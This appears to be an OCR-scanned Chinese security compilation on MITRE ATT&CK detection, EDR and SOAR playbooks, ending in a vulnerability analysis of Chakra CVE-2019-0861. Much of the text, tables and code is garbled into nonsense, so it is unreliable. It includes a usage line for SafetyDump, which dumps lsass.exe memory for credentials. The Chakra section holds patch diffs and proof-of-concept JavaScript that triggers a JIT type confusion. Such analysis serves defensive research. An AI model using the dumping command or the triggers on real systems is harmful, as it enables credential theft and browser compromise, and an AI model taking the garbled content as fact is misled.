TI1098 Account Mardpulation 1LY (T Remalirs te Fengue
T1183 Appler DLLs TEX1.002 Tad0l Lvert Triggered Execution [Escalation Possible)

Ti103 Aopinit DLLE TEOO1.003 TR Event Triggered Expcution [Escalaton Fomsibae)

T11%8 Apalication Shimming TROO1 004 TRI0D Event Triggered Execution [Escalation Possible]

T113] Aunraication Pacage TEOOZ.00] TEIF Boot or Logon Autdsart Exscution

Ti197 BITS jobs M [T Bemairs teckmigue
TIOGT Hirtilt TE003.001 TEM3 Pre-05 Boot
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ATT&CK &% ATT&CK iR FEH EDR HMIEEH HIRE
4.7.2 2, BEHIRH

ATT&CK EFFEEMAR, WEEBLERMIKERBKNAE, SIEATETENGN, FELLFhEH
FHWAEALZALMAMELHE A R .

MELEEBENBFAEIEMAY sysmon 1252, EZ AEZLS Sysmon HITTEH EZ{FREIAL
B, FTERAXME. RSA. B8, EXEERINENIMERSE Sysmon /g, BT IA TN KX
WRD, EEENERERSINEAXASHEA, AIRMRIE Sysmon HRRICRK. ARLARAHEHF
FEXT sysmon TR, [NEFRMMIKIEE TTP AN, RARITHEN,

MEAR, FARFERE (TTPs) MREEE DT, MERGEFERTR, FEHMT. R, X
BMAR, AIREASSEANTEIFRE. NN TIRGITAGERISEAI HIZEH lsass.exe
AT,

REYefE

SafetyDump il FITF  E 3RPTiF SR Tl A,

I FMinidump Windows APRET I Thaseb SRR B A MCER L 2 MR IEAT, SROLiRsEiES
SIS TCIEimi ETA.

R, BF—tedEmEs, ElEaTESiEe SR mE.
WM S htps github cominettitudePoshC 20 MER, LT BRHEEFRTTRG TS iEM SRS MmN e FEEE
FECI T ERAE.

ik
SEFT A fo 40 BN UM A S  llsass e,

Maafetybump. e

fEPIDfE R E T i R .

fSafetyDunp. exe <processIdTobums

EMBERIELRZ] BRAMR, ARONFHEY, REEXINEENMES., TEIHXII
BEYTTPs R, ARWARHTEENEEHS, HREIBIEARRMNES, FRECRNET, &
NEEDHAR, FREKESMREESENSEED, BEAMERI, SRXETHEOTRE, X
B IRRRITFR, THTEDR,

4.7.3 3, KBUREEET LD
FERBRRLEWH, MRNRAAT RIUFENEMB L TAMETHNNEEMHAFER? — TN
BHE, —THEE, —TIER, —TE—1! 20, XRAERFAREDNINESRIERAR
KRN T RN TLLE, BNEEEY, BIH/LTMARMERERNESRE, BMERS
RO MINEEKILREAMDNEES, BEMAENRFES), HERMIEEESTTE, H—PRRIREN
BTSN DR, BRONEMNED, B XKD, ZRARMNED, RSN,
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4.8

4.8.1

4.8.2

ATT&CK %1% ATT&CK 3312F+E4 EDR HMBENHIIRTE

--

I\, NG

BEE ATT&CK HEZRMAMTEMEMR, NANFEESE . MERMNE, BITARRADHT
ATT&CK Y TPPs BBt = EA EDR @& F BT RN 97, ATT&CK B— T IEEEARIE
R, BTN T, MNSHERANAR, FEHRSKNAT ENERZER, WIDNST ATT&CK B4
MREEIFENRN—ERMITIL.

XTREEBEREARIRR

BREMALRNERETREL, TENTUNENBZBMEREANED AGIRS ($1R. 21,
FRE) MARRRLZEEHER, MREMNZEERTNERA MR TRZET MEVRAKE
th, AIERFNNZZENRRETM—MNE, ULIHNBRENED

KXTEE

HIE, BELINE Web Z2MARMEA, £ Web Z2H ATT&CK HEZEN FHF E41 EDR S8 5 &
BRRNAR
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5.1

| RLBEREMAZIE—ET ATT&CK+SOAR HIIZE LT

5 Tl @ KBRHY

R https://mp.weixin.qq.com/s/d4XWTQieO-vhjLKhodrpZQ

KHEIDAE, f@kﬁﬁ?%ﬁ—ﬂ&—ﬁ%ﬁ?ﬁﬂi, MBE-—BX—ERIBETERE, RN 7T IREMA]
MIZEWE, PEARGEERMASIZH, B RNNAIMMLERMD. A, BEEREGRARNARR
', X5 /R#/xﬁL%E’]Eﬂl% ARBEAWEENNBEEOT, BRAZTLTERSNRIRE
MRS R R MMLERRR, BERZNBEEOSTSAENRIEM, ATT&CK H] SOAR XK
BELCIVA R T A B s,

RS AHMRREEEMRANEEA

EX &M B AFNED, EURECEERRNEREN. BHREAXNRA, KEENFRRE BT
K BtR, BERTHRASRGES, TERFTE/NL 2 MEXEEEAAMKMERKEEAME
RIS, BEIRRGEER, FEFBEVNE. LR EEHA. ERAFERZH T ZEHN
RIFFR

# 5 & X B A £

MHDR & B ® y
BIAPRZERIN | 10%  75%  12% 2% 0% 1% 0%
MR BIE R @ o o

ThE|MIEME 8% 38% 14% 25% 8% 8% 0%

AR BRI o 0@ -

FEBh IR 0% 0% @ 2%  13% 29% 54% 2%

M T o 0 0 -

B EMZE 0% 1% 9% 32% 38% | 17% 4%

g = Cll-SRE
KRR ARG IR LR I E D TERFEMMM 2B, WA IREZERM/ LA E:
MESE £, REBLTFHRFUE; WEBEBRERE T, BHEABREANEE, HEE—TEN
i) =
M=EEL, BREERURKE, REXRE—TMREY, BIRAREZERIINKEG. mhHES
EMEBERS, HERAENXKER, mXYTFARAMNES, WITaERNT,
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5.2

5.3

5.3.1

ATT&CK ROTERFEMA ZB—ETF ATT&CK+SOAR M E L

MEARL, BYRGEEREASHNEERAK, BHETERINESWNNLERER, H—DNE
THERERENNEEO,

MRECEASMS, BEFEESEE., EIMEENSHHES. LERARESER, ADNTE
LIENEY, ERRETCEEIR™ IR

REENXMANME, BEWREERZE, MATEXRDFER, MHizE, RERINLER
o

FURDES K B R BN R 7 BEARAEZ

REENNEE, MBEERERITNAN=RLE] A&, 5% 5 ANEEIEZREFRREREZAHR
Fxmsp B, JRAISEEME, FTEN L2 ERNRIEHETEZNEEZA, EREERER
SRhtE 2Rl METRORILELAD, HREVERIEHE.

EETHRENZSENIESH, FIBEEX:

Pt > Dt + Rt

Pt ELEEMEBREHKNEENNERE; Dt 2RIV EHKE; Rt ERELGERBRTERE
METEHRE . FIREKRERSWIE 2R, sESRIAGERAD, B

DeltaT = Pt — Dt - Rt, DeltaT >0

DeltaT ERLRZEM FHREE O, DeltaT >0, RAFTATFHANZERES, WERPtRE
A, DtHl Rt RE/)N, A, PtIEKESKEEZEX. EAFELUNREHE IS IRIRIIRE
ZEBRE, REEFHNEHN, Rz, WEERKNE, #Mba, BEE, SETHNEZHE,
BERZRIRSTI A, MAEABRFTZ2NREZHIBLEEIN. FRNRENRER, TEEAREENRE
5. TXF Dt # Rt, MEEGERASHIEIMNITA, 485 Dt Fl Rt, MALREBE.

BITUETE “EE A, MENEAIAZFIERE, BL2ES RO, &N, S@M
L BT FZ B — D Z NI A (course-of-action, COA) H, BEGSH WA 4E 52 1948 NI AT 8]
(MTTD) MFEHMMLESE (MTTR) , H TFH—EFRXEARANMALEZIZERM T MR, MITRE
ATT&CK 1R T REMNKER A, MATIREIIRE, AETEBRREETH, HMEHREXEIRG!
BB, REEMARIANE, SOAR BENLZEEHNERMEHINBMNMINN, NELEEMMET
LESRMNIT, FTXMEE MITRE ATT&CK F] SOAR FAR RNl hNERE A A AL E .

ATT&CK hniREED & I

3.1ATT&CK B DT R

ATT&CK Framework ZERGHENEM £, MBT —EF AL, EWHSTHOIMIERIELR, E
REMRERARTZAME TS, ARMERSRMETEMONEEER, Hb, 12 MEAREE: b
AL AT, TR, BN BHERLE. ThR)EIE. REL. Maign). WE. <t BBk
. BE., SMEARZT, SESMHIUMHNKERA,
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il Access Enccution Fersistence Privibege bacalation  Diefense Evasion Credential Aoceis Discowery Lateral Movement © Collection Command And Control  Exfilization gk

11 e R 42 e 32w e E 25 e L2 ithrns 13 terns 22 imens s 16 it

- o e T e, e
i

Eapiot Pubkc Facrg  CMSTP hecessibiiny Fetures By Padding L e iy Amphcatian W Dissavery
Agprcation

v
R oo e e AR
o

t Chyect Corneition Frosy
Compies HTMIL Fie Appten Stk Sy s ccoknk Sobinel Domain Trust Discawery tdodeland Distriwted. Cata

Extermal feate Services

cmponent Qe Model  Appi BLls Crane Commmant Histoey.

Apgheation Shining

Trusted Relstonshp Input Caphure

ruction Piesy
Enput Proenpt
Contrt Pared Therms

derbarsasting

Mariin the Browser Senice Stop

) Sénben Caphon
Repication T

Gatibieser Bypass

Brocess tejection
Group Baficy Mochestion

53.2 3.2 FEMEENBIER

FEMEENBIEZ L. ERLKIEDIELM. XOKERNENRE, RELINLEATNANK
TTH. BENRERENES, ETREVLNISESEME . ATT&CK RIHE T SIMMERNENLE.

£ ATT&CK REIUARNT AR, RHESIERFR. H CARET BB ARG DT IRHE NBMAHE
S, TREBERGHAR. WERAKR, SRR, BUREE., sensor BIEIXBEXR, EEARTTH
HARARBMERERARITSE, AELRTR T RAESH sensor WEEIE, HOEMDH, —&
£ ot (hlE, BRI APT32 ERX M. #Hiz. AP EHNSRFRAINET, SE
BENDH, BN RIRSEZVIEE, REEUSSEERE,

Groups

ik s
SERedyle : Schtasks
_— Squitkydoo

APTIZ, Sealotus, OF

533 3.3 WNBENMERMRL

BAl, ETREFERNNASTEIR. BBREINAN, EFESETHIINQNINRRE. A,
EXS BB S, WMEERIMEES, SRkbERRIE?
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CHSTP Custom Cryptographic  Amenewe Frotocol  Disk Structure Wige
Bypass Lser Acceunt Sretoect
Contrat Cade Sianing Nebuork Share Disensery Insenat Spearshishing  Baks fram Hetwerk Endpeint Benial of Sencce
Shared Drive Dista Encoding
DLL Swarch Oeddat Campile After Dulivar Kabuork Sniffin: Lagen Serpty Frmnmare Coonyplion
Hijacking " i 2 = Biata from Ramovable  Dats Cediceation i
Compited WTHLFie = Password Palicy Discovery Meda Editration Oyer Other  [nhibit Sjstem Recovery
Dyt Hindng et Darnain Frénting Fntwork Mediurn
Compsient Firmare foried duhersicaton  Pesiphent Device Digeavery Gata Staged : Network Derial of Semice
Supply Crain Eievarer Evecution with Diameir Gengwtian Exfitratce Crier
Cemgesmiie Promat Carnpeinant Dsect Magel rasing Parmsson Sriups Doty Semn Susice Sma Cefledten, Augeeahms Flryical Mednn Ficure Hiazking
ik rabocal

g frpat Captire Faback Channels Schedulesi Transfer  Runfiimee Cata Mangelatian
= - &
i85 ok

Shared Darh Mrlputarion

Eitre Window Marmary  DOSkadoi nrough
Tnjectian Sephatn Security Seftnans Dinsovery Fremustte Mesin Vides Conture Sjsten thatdimn/Rebost
Geathuscats Decade Fles
File System Permissions  Information LUMHRMET-HS e Shared Webroat Transmiteed Bata
Weakrass Povarveg anct ey Marigulntion
Cisabiing Secutty Tooks BN S5 Hiackng
Hoaking Hewor: Sniffing
DL Sren Oasar Bijheking > i Taint Sharee Content
Image e Evecution Baszuced Alter UL Smooveny
Cprions fvechon - Third-party Sefsasce
Trraate eys 5 ok Can " -
Launch Caemon Exeruticn Guasdrails Decaveng = e Wi " Sha
s Facurnyd Memary
R - ShmC s
real Web Seczion Cackie
Pocet PID Sponfing  Esten Wind
Tuaitactar
Path Tterception Authersicaton
;;;;; o
Pt Mogitication
Pén Mssitain | .
e Gystem Logical Offsats L {’ ELE
Pavershet Broffe ] el i3

Analytics Data Model Sensars

i (2.0)

b (31)

n (3.2}




5.3.4

5.3.5

5.4

5.4.1

ATT&CK RRTERFEMMA 2B—ET ATT&CK+SOAR B E L

ATT&CK HHEMEEART, ETERAENRERE, IZNENETERAR, EREMOHTEE
RIET—1SENE, T RERAIAIEERNEERBNEFE. BLEFmQNEE R
HEZRT, RIEEEEREESNZETMENEEN ., BNLRIMMLEENQARESE, KRUFE, RRE
HITEDTE. BUBSESHRERE, BRRR, B ATEGERFERN,

3.4 TRXESH
ETHERDNRARE—, TTEDNARMNERD, HEH, WNNEERRIERERERFERRFNIR
R, MIZHETHEARBIRER-LERAEANRA®S, Wend 21T, HITRFHE, NOFEER
BT RRERER, STHIRRIRR, SWREER, EMKEETBRANTEL,
WEEEREREERER, EERESHNSTIER, M ATT&CK BRI I#HEREEMRARY
ERARZERXR, BRI GEZNU—F—FSNERIIR., B AU EHR D, MEY
WHER, TRANBHRINMN, FIHRN, RATCEARBWDOTEESN, BEESRAES
SCE, THiga\SIEE ZBREE, REEMLNZEE,

3.5 WHURARE AT ERED

ATT&CK FERFERLL <R FA” BT BMIES. AL AH, BEABENN, MLIAEEIFIEERA
Enf), RIR ATT&CK FERF#HATIER, MPRIIEHBE T ZAREENMI), RBTOMER, K
ILEER) . BT IBRRE AR EMAOIERR, FHEOMMIMNASZEIFNTBREE, AEEIHR
AOISHFRIG, IGIRSCAKAE

#TRIB RIS MR B A9 R OO

4.1 RRMREDRZE

ATT&CK RESZEMMNZIE — MR- EAENE, HENNHSEREEMELRPENMNEE. —
LA TFSERMB O HTEEL, b3l Lockheed Martin Cyber Kill Chain 8, BHTFEFIERSHE
RN EEBN, ERNTRANGEREIRTNFEFERERRE, NREEZ TG
fEBIAIXEX . REHERIIANAISE REEKARBIRBKRER., XERENED RMLEIER. s
M. &%,
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‘High Level Models
(Lockheed Martin Kill Chain®,
Microsoft STRIDE)

Mid-level Model (MITRE ATT&CK)

Low Level Concepts
(Exploit & Vulnerability
databases & models) ¢ ..

=1 LSRG

SbTFrRERIREY ATT&CK BRI — LS RFNEE (MEAR) #ITEARHERMEND K (RK),
HHBMEA, BROBER. #—SNEIURERIMARNE, FEFRENRREECHXTI
AL E, MEAELER (MHEES. #REGLITEH) PETRD. MR XEESHITER
BIEFEEXEERICR TH, BEUAMBNEIDHTIE AL SR AT IASEI I Z B AR L, XL
BEERENRKERA, BITRENEER. REFERS LESARNTR, BREETHERX
ROBRESZRIRSHE . EREE EEHITERNKEG, E5HHEERERHIMNHIELERE,

5.4.2 4.2 FHEBLEFESBETREG
ATT&CK FUEKEEITRHER RS ZIRLE, MTE8MRERARGE TIFFFANER, MoEE
EEFEFANABRER, SREENRAXERGRAN, RIEEETHOHERES, SIESMIEN
RN BRIAR, SFEXEIANBA. BEEONULKATRTESR, YTHFEALRFIERE,
BEHEHEINSHERO. ETAENHERARATRERFRIAES.
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ATT&CK TTP WA RiwtishE (COA, course-of-action)
T o= | g || BWSEE | SRR |  am
A5 . 3 b / -
AR 4 L (W]
= Tiek
_ LR '-»{ﬂ&_""j_i;
(78 ] sk [ ) :|>ui$—§€
%3 |
S mlisE
HE o - f:block_ipElFR{OpenC2) g %&iﬁm — e -M
*H. - ..I o Elj > 1 P “7 RS _,—;:_ﬁf. “!
B O - ‘.I {  Emx
il % » SeiriSl . :__; ’—:'I“—__;:T«??
= B W= S
® T — T e

SEMONEROREN, EBNRAFEINK G, KRB THPLEEENRA, GEHENKE
ERWERMG PRGN, REEASEAR, BIRFHNERETH, HRMESSEKRIEIAR
F5, #ITEMLE. ZMBRTI. 2N, LEFNEXEASKIARTAZEZENLET
#t (course-of-action), IIREMLLE, RETEMER, XIEZE SOAR FRFIEFIRIKHE ),

5.5 SOAR &1t SHENm N
5.5.1 5.1SOAR Bt

2017 £, Garther 3 SOAR HITEHAIMZ R, EXNREHRHEE ML SMEN (Security Orchestration
Automation and Response) ., B HRBEBIER B ARKIELERHMBIBNSEMNA, XLERAFIRA
ALSHENAERITREI ORI DE, NMEBIEX. BEMER, HIRERELIERIBEMITE
S HMNER, BEYERBKNZTRAANTERBEREIRNRETENKXAK, FATRAREBREA
WEmigd, AIZFoHMBMERENIERSER, NEHLE2RE, MRBHML,

xR BANBARBAREA LS RIZES, BRBAEIREFHAGENEL APLAIATRER,
REBWSIRRFRRE FRRTIEER, IRFHHEHNHITHNIERTRE.

Baift: BHEAN—TFER, DFREBE-—ENFHXR, Bt —LER2gHEMRER, U
KRBT API LI, BAEMEBEDEHRITH,

N EEFSHELESNTERRAZEAR. BEETSHNEGERE---ERNER. H
. Bz, REED&A. ATLENRSS.

NMEZBEUNRHEE, ERALSRH, #HEBERIARHTRIAN, BIRIARZ BB, HEXX
R, MBWSIHRFAFBOTAER, YT —ERABENGESZTEATSSNER, FEENEIER
REATIHAAIAOD,
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552 5.2 ZEHRREIASML

SOAR BHEAFABRANSRIZR, B, BE. EE. IESBER— 12 MINHHE
A, BEBRENNFINERENIERTRE. BEEWN. BN, RENSORLNERTM, Y.
BN, THENRAATIHALE, DBRCERERNES, HREAEZEEMNENEMEFoh
iR AR

Investigative BIZN: R FSBNAIEMERE FTFXER, THTRESHREIEPNE
[E. MRIAERKEITREE, BEELTX. query BIIMEIRSE, LEXTEED artifacts, RERTHER
NEH.

Preventive BIZAS: (RIFPAKRZEXMBMARTERITH., XERIARBINZ NF, IPS. AV, WXF
HER, FHEREMIP, HR. XM, URL %, ItHh, #STEIADBXAASSMEAN T,

Mitigative BIZA<: BEF=HMNA, RBERENWAF. 18&. NA%E, EEE, UH#E—TSBIE,
HIERIA, WERMBENBZEEMMERS VLAN i —SHE, SEREMG, EVITIEME,

Remediative BIZS: BIAFMRNLU ERENMESERZEEERZEMEZRRE, MIFNIZE
MEEEF= . XERIABE G EIHTIESR, MAHZBHNE.

Blan, HNBEXGLEARHNTRIA: X TAC NEIETEHEAR, MABIEMN IFEXH
B, EEINEFCEEREMMERXXYE, FH L& TAC, BOMRITEREELEEERN, HE
ik, BERRAIZE, A “BBRXH BIA&, Bt TREBIEES, BREEXMH.

¢l

553 5.3 BlAREXTH
—MR, BIABE=TEERLTE: AR (rigger). FMH (conditions) . HATENE (actions) :

E R | { = ‘:" @)
urliE 3R S dh=true —> Windows :} (V) H
Lt EHIE  EHWIE  #prHEm

g ~

B B
I
B 7 L ﬁﬁg%w;ﬁx 4;5}&:%?4[&,
ik ed: HMRFHRHREN, BMTREAR, 2 TMABTEIEEASFETRETREIASR,

HEMRZMHEN, BRHITHNANE;

WRFH: EFIRANZER. BEMUROEAFZYE, AXR—EFMG, WXRITS. Pk, *
M. FaXBEF, HEFMBRFMHN, ZT8EMITNE;

hff: BFEESSE, WMRFEHE. H1Eip. MEBNHEEMGEES. ESRANETIR
B CEH) EERAT, moET) BEAL A BRIETEEES.

—TEBMCRIBIE, BT EFELLR=FTERASN}, THFEEREZNENE, WTSE,
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Eita it
ac_version BlFHEAE

id Bl id, BEEEEFREIE
created by _ref | BIRRRIERIRIS: id
created = s gl SR ]
modified HENE BIER IR iERE E
revoked B2 S E
labels [=1 B =L ) g ey e
external_ref A&, BlEAFRIMEEEE
name BlEe=

playbook_type

BIIF=2ERY, I nvestigate, prevent, mitigate, or remediate

action_steps

S ISR {E ST FE » I api, openc?, command lime, shell, python, netconf 3£

control logic

BIERHEH0EE 0if else iBR)

targets

AEE « EHREAMEBEh ERBAT, A« IR iBE (BRALED  E4 ( wndows)
= - B oS

(L

if:
)

o e TN

B £ json BRBIAEN, PIRIZETREFRTIIFRNS REMNEFIZNEIAR, —LHAEE
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" Chakra i®@iBi%&EiC 5——CVE-2019-0861 £

€& elliOtnOphacker

SR https://www.anquanke.com/post/id/190533

#£ {Chakra AL EIL) 1~4 A, Z£& M ImplicitCall, OpCOde Side Effect, MissingValue 1 Array
OOB JINAEZDAINLAT Chakra JIT 5|2 TELKEE. MIEJLT A Google Project Zero H bug

SR AE A BB Y Chakra KA PoC B, BNATE %lﬁrﬁﬂ%?"?ﬁﬁ&ﬁ’] Edge X 5123

£ Chromium 4%, Google Project Zero HIIZAE R A B & Chakra, ELLMIXREICHIR, EEF
ZN S E Chakra BI— LA T #HT DM, ZREANT £ PoC, XRBEICEFESTHIRIEZ
CVE-2019-0861,

7.1 0x0 Patch Analysis

CVE-2019-0861 Chakra JIT Type Confusion 2 14 for Edge Bounty Brovwmas files

¥ master (46087) O viN14 i 1418

H-‘I pleath authored and akroshg committed an 21 Mar 1 parent SaJecef commit b4B1337F2aebed2efdd19692 6691396947 F49ec
Showing 1 changed file with 5 additions and 0 deletions. Unified | Split

2
v 5 EEEEN 1ib/Runtime/Language/JavascriptOperators.cop (&

£ -2582,6 +9582,11 @9 using namespace Js;

Var result - CALL_ENTRYPOINT{threadContext, marshalledFunction->GetEntryPoint(), function, CallInfo({flags, 2), thisVar, putValue);

bszert{result);

E
| /¢ Set Implicit call flags so we ball out If we're trylng Lo propagate the stored value forward. We can't count on the getter/setter
+ {f to produce the stored value on a LdFld.
+ threadContext->AddImplicitCallFlags(ImplicitCall_Accessor);
Y

eturn nullptr;

XEATEERE R, RAE—17, BIERZEL JavascriptOperators::CallSetter [BlEREIFIAAN 7156
threadContext->AddImplicitCallFlags(ImplicitCall_Accessor);
RIBEIC 1 BIN A, ImplicitCallFlags 2 F 3K [B 4 Interpreter 1 JIT JRSHIFRIRFF, XEMA
ImplicitCallFlags i BAZ7E JIT H1FERE Bailout £ Interpreter RIS
AT G TEAHOER, ABEERNRFERZEFMNERRIERE, MFEZE Bailout, THEMK
T getter/setter SRAERY LdFld FEMNE, XBIERELRLERIEZE, KB TIBEINERERE getter/setter
REEIRS T BENTEEAIMEIR,
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7.2 0x1 From Patch to PoC

B Patch £ PoC, EZENBREE LTI H A MUEE Patch A9 js K53, ABRIERBNRKERE

WTAZER js ARSI AR R RIERY PoC,

B BIRIBE K TR 2L JavascriptOperators::CallSetter B] BERVIEYE, XEHE—10I8E00E

R0
JavascriptOperators::OP_SetProperty
JavascriptOperators::SetProperty
JavascriptOperators::SetProperty_Internal
JavascriptOperators::SetAccessorOrNonWritableProperty

JavascriptOperators::CallSetter

MRIF R EN JavascriptOperators::OP_SetProperty, 453X B 7] DAt & i m R BN 1% 2 —

A Set $21E.
*ETE *5( J avascrlptOperators :SetAccessorOrNonWritableProperty AJSCH :

tSetAccessororionkritableProperty|

bool

THREE

bool
Dol ult)
£
= FALSE;
ar settervaluedrProxy
lescriptort laps fFlass =
if ((ishoot 8& Javz : :CheckPrototypesForAc cessorOrioniri tableRootProperty (sbject, propertyid, &setterValueorProxy, &flags, info, requestlontext)) ||
¢lisRroot B& Jav eckPrototypesforAccessartetoniritableProperty (ohiect, propertyld, RsettervaluedrProny, &flags, Info, request )

|i|‘ ((Flags & Acc sor}

if (Javas r; i ThrowLfstrictModeUndefinedsetter (propertyOperationflags, settervalueOrProxy, requestContest) ||
1a ri i ThrowI fiotExtensibleundefinedsetter (propertyoperationf lags, settervalueOrProxy, requestContext))
[
- TRUE;
return true;
}
if (settervaluecrProxy)
{
Recyclablecbject® func = Recyclabledbje Ha cuvar{setter\'aluaorpro*yn:
Assert{linfo || info-»GetFlags() == InlineCachesetterFlag || info->GetPropertyIndex{) =-- Constants::iMoSlot);
1 (UnscopablesWrapperobiect i Is{recoiver))
{
= {Recyclablethject : :FrodVar-{receiver) }-»GetThisobjectorUnbrap{) ;
3
H
else if (I7avascriptoperators: :Isundefinedaccessor|settervaluedrProny, requestiontext))
{
53 iCachePropertyWrite (Secyc lableohject: iFromvar(re rer )y iskoat, of -HGetType(], pr
I
filed ENABLE_MUTATION BREAKPOINT
| lavascriptoperators::Callsetter(func, r iver, ¢ ; Fequestiontext); |

ext};

MR ROBEEHBTEEWIEZS (Accessor) 7 AIAEZIFRE MR, H Project Zero 41T case B A& :
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Issue 1576: Microsoft Edge: Chakra: DictionaryPropertyDescriptor::CopyFrom doesn’t copy all fields

Reported by lokihardt@google.com on Thu, May 17, 2018, 9:24 AM GMT+8

Here's the method.
template <typename TPropertylndex>
template <typename TPropertylndexFrom=

void DictionaryPropertyDiescriptor < TPropertylndex s :CopyFrom(DictionaryPropertyDescriptor < TPropertyindexFrom & descriptor)

i
this-=Attributes = descriptor.Attributes;
this-=Data = (descriptor,Data ==
this- = Getter = (descriptor.Getter ==

DictionaryPropertyDescriptor < TPropertyindexFroms=:NoSlots) 7 NoSlots : descriptor.Data;
DictionaryFropertyDescriptor < TPropertyindexFrom=zMoSlots) ? Noslots : descriptor.Getter;

this-=Setter = (descriptor.setter == DictionaryPropertyDescriptor=TPropertylndexfrom=uNoSlots) ? Maslots | descriptor.Setter;

this- = |sAccessor = descriptor.lsAccessor;

#if ENABLE_FIXED_FIELDS
this-=|slnitialized = descriptor.lsinitialized;
this- > IsFixed = descriptor.lsFixed;
this-» UsedAsFixed = descriptor.UsedAsFixed;
#endif
I

Given its name, | think that the methed is supposed to copy all the fields from another descriptor to "this”.

But it actually leaves some fields uncopied. The

"lsshadowed” field is one of them which indicates that a Let or Const variable has been declared in the global object with the same name as the name of a
property of the global object. This lack of copying the *IsShadowed® field can lead to type confusion like in the PoC or uninitialized pointer dereference.

PolZ:
letx = 1;

thisx = Ox1234: // IsShadowed

/f Convert to BigDictionary TypeHandler, CopyFrom will be used in the process.

for (let i = 0; i < Ox10000; i++) {
this['a’ +i] =

// Set lsAccessor
this._ defineSetter_ (%', [) == {1}

/1 Type confusion
this.x;

TE X935 58,
{}

XE{ER __ defineSetter__

let obj
ob]
obj.x
let tmp

53

LI T = N

__defineSetter

—hi js FXEBZ0T:

("=, O=>{})

TERREX JavascriptOperators::CallSetter [B1ER B8] FHTm, =HMAT obj.x = 1; 1IBANS, AILAEE c++

RABRINEER T IR R -

% Chakra Rurmime Langusge + Savacriptopenatos
a5s {

554 !} Stack sbject should have 3 pre-op bail an ieplicit call,

a5 /1 Stack musbers are ok, as:we will call Todoject to wrap it

4556 {{ sae Java atThi ’

¥ Aszert(Ja :sqn,rw.-mu it ) == Typelds_Integer ||

avascript 5t iGet Typeld{c ypelds_Humbe:

ff verdfy that the soelpteontest 12
if {larriptContest- swerifyalive(l
i

alive before Firirg gette
n-»IsExternal{},

We ahauldn 't 4ee Them
R oA numher abJECT anyway

tirzadton texts jIs0nstack{object)};

- | & CalSeierRacytlablectiect * const furetion Yar const oty Hame

£ 3 Qr_n.na.m.a|u_u-,r4.pn1,<fecus\ss5c~« )2 lominde - () Line 3580
i uo'l'lwa‘mn- EwaniteimplizCa svoad s (b ey,
¥ ) St ReoyoabieCnge * conel Lnchon
A cessorDINOAWY atieP oty (ucnd * recel..
i ¥ recener, |sfincy
Fiecycablecnied .
old *instancs, nt peapey

fers, s

e 400 * CONST PELENCR. CON8! i

st Gt ke P Srodtacs MProperty < mOplapocs T Pame.

return mullptr;

89

<ls=DalayoutT_Hlementcs..

return nullpir; : 1R ST AFtare PeD (ss?roTihend) Line 185
Y f" Coriptinehios 4 frrcton_ €
allFlags lags = Callrlags value] / 2 v | POCHISTCALAVGAIT ., €
Va L*utvalue = walue} mAtd_Caifonetiond] Line 200
i e+ (5 Ry dL‘eGhi«l * T v
| CONSIDER: Hawve requestContext everywhere, even in the setProperty related codepath. )
I (requestoontest)
{ SCCH \)VF‘J'UIU"') muvrw uvs % ‘Hlukm
putvalue = crossiite:sMarshalVer(requestConteat, value); {is:SeriptContext ¢ senpaCantest, TTOATT.
3 et ¥ sempalnntent Ui
1 7 T (S CICOnTEsT =
vae thisvar = ReotToThistbjectfoliect, scriptContet)s e ot A< SENGCode <lamida =S epaContedt T €1
ChakeaCnre S8l RunSormiCresiunid * sorignSawese, const (msig e rvar * sorink, unsigre.
& e t* marshalledFurction = fun - Unfa:wc-. IComgiaRuw0i0 * soRprval ,mwe_n mﬁ»}(mw(rl-n YOI = S0
¥ ChassaCure Sl kRunjvol * scri i, nsigred _inbéd seresContest, void | saumeld, _ Cr =
= f{ce xt} [ Ieunivend * script, unsignedt _inbéd sourcsContet. vord | 5
157 67w " TNt unsigeed _ints4 el
warshalledrunction = Recyclableohiect: iUnsaterronvar(s te s sMarshalVan] reque sTContax | ne] Line 313
} I {thar ¢ mfiame] Lime 555
| T Une 1060
var result = CALL_ENTRYPOINT {threadContext, sarshalledrunction->aetentryFolat(), function, callmnfo{flEs, 2). Chisvas chehafevols,_hvoad.firocodurelunsgrad iM[%) ek ) procadund, veid * const contust..
NSseit (FaSIIEY T anursgned it {_roerf'mid *_pirédi (woid * coast parmmete i
= implicit call = o we bail out if we're trying to propagats the stored value forward. we con’t counf on thiv
luz on a LdFld.
citial Inplicitéall_aceessor);
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B F ImplicitCallFlags P340 JIT A [a]iEAY bailout [B]8R, EEFATEEEIFEE—hR js KIBIEN
NEBARRA T B8, 72 NT EARKRPEIIRER. BE TR js RBIT (chexe iIB1TSEN -mic:1

-off:simplejit -bgjit-) :
1

function opt (ob]) {
obj.x = 1;
var tmp = obj.x;
return tmp;

N o= Lo N2

=]

[ww]

let obj = {};

let ret = opt(obj)

10 print (ret)

11

12 obj. defineSetter ('x', ()=>{})
13 ret = opt(obj)

14 print (ret) ;

15

XEBHATEILIES obj.x BUEER IIT BREME, E IIT X obj.x EHIETE S EM.
B/RIG1T PoC 18, RE opt ik NT, HEIHERRES:

(e

4l C halora Rusntime, Language - | ¥ JrascrignOperatons | @ Catsetter (Recyclabledibject * cort functlo - Hama Lars
3 i : + © Chaskraone (s nsacng i paratons: Calsenan:,_2: <lamnces () Line 9590 Ces
Y == Typelds_Iateger || Chakrad one T hread Cortent-E vecubelmplicat s {vaid) = (s RecpclabieObiect * function, keimpiict., Cee
2Tds_Number || |ThreadContext: sIs0 Chakra ore. gtz JavascrintOperat ISetier| s Aecyclableinject ¢ functian, vaid * const abject void * const v Ces
Chakraliode M)l It parstore:Sathcassc D oaWritableDvopenty o * recsiver, JoRecylabielibjact * object... Ces
1 Verdfy that: the serlpteontext 4 e i Cruskerar”ore (5= LaymscriptOprat tProperty_| st (s urid ¥ raceer, deAincyclabéeCibjert * object, mnst bocd | Ces
\E ¢ Y i S5 2 o s Aavasic i peratcesSetPrapertylain * recewer, Ji:RecyciatieDbject * absect i propertyld, vaid * ne., Co-
- 1f {lscriptcontext-sverifyAllvelf - sExter‘ﬂal" Ehakt
b 4 P : it J’ Chakracre s scriptIperators: 07 Setdroperyiuos d void * neviiaiue, J5SaripiCantast .. Cos
- davascrimtOperators-RaichPutVisiusWith ThisPrNalocalfastiath. nlineCache e FuncianBady * <. Ces
return aullptr; . O sl perators:PthPutistealacaifesthath < | belnlineCache» s functianiiacy * const farcti.. €+
} -q_- i
Chakradore. o8d_CaiFunctian(] Live 204 i
i s flags = r1] Lags Value; : ChakraCore. Function=Casfunctian < = o RacyrableObpect * functian, waid 4 gls-RacyclableOnject |, ko C=+
